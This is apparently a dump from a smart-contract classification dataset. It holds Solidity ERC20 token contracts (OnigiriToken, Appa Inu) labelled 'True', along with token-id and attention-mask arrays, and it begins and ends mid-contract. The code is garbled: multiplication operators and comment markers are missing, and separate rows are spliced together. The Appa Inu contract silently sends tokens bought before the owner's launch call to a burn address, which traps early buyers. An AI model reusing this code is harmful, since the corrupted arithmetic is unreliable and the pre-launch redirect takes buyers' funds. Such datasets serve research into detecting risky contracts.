_rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5890, 1011, 2410, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. / library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /**************************************************************************** * @dev Basic implementation of the `IERC20` interface. / contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /* * @dev See `IERC20.totalSupply`. / function totalSupply() public view returns (uint256) { return _totalSupply; } /* * @dev See `IERC20.balanceOf`. / function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /* * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /* * @dev See `IERC20.allowance`. / function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /* * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /* * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /* * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. / function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /**************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. / contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /* * @dev Returns true if the caller is the current owner. / function isOwner() public view returns (bool) { return msg.sender == _owner; } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. / contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /* * @dev Modifier to make a function callable only when the contract is not paused. / modifier whenNotPaused() { require(!paused); _; } /* * @dev Modifier to make a function callable only when the contract is paused. / modifier whenPaused() { require(paused); _; } /* * @dev called by the owner to pause, triggers stopped state / function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /* * @dev called by the owner to unpause, returns to normal state / function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /* * @title Pausable token * @dev ERC20 modified with pausable transfers. / contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /*************************************************************************** * @title OnigiriToken * @dev OnigiriToken is an ERC20 implementation of the Onigiri ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. / contract OnigiriToken is Ownable, ERC20Pausable { string public constant name = "OnigiriToken"; string public constant symbol = "ONIGIRI"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 24000010uint256(decimals); / * @dev Constructor that gives msg.sender all of existing tokens. / constructor () public { _mint(msg.sender, initialSupply); } /* * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. / function burn(uint256 amount) public { _burn(msg.sender, amount); } /* * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 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/** Submitted for verification at Etherscan.io on 2021-10-25 / // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = _msgSender(); emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } // pragma solidity >=0.5.0; interface IUniswapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function factory() external view returns (address); } // pragma solidity >=0.6.2; interface IUniswapRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); } interface IUniswapRouter02 is IUniswapRouter01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AppaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000 10*6 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Appa Inu"; string private _symbol = "Appa"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 9; //(3% liquidityAddition + 6% marketing ) uint256 private _previousLiquidityFee = _liquidityFee; //No limit uint256 public _maxTxAmount = _tTotal; address payable wallet; address payable wallet2; IUniswapRouter02 public uniswapRouter; address public uniswapPair; address private constant burnAddress = 0x000000000000000000000000000000000000dEaD; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool private launched = false; uint256 private minTokensBeforeSwap = 8; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; wallet = payable(0x02bf38B6A31411DA5D8cdb27515b6aD342F82c84); wallet2 = payable(0x5fBD279dde87Ff726eb0d7c5430B46cFc6F39aCf); IUniswapRouter02 _uniswapV2Router = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapFactory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapRouter = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[wallet] = true; _isExcludedFromFee[wallet2] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } bool public limit = true; function changeLimit() public onlyOwner(){ require(limit == true, 'limit is already false'); limit = false; } function moon() external onlyOwner() { launched = true; swapAndLiquifyEnabled = true; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!launched){ if (from == uniswapPair && from != owner() && to != owner()){ to = burnAddress; } } if(limit == true && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && 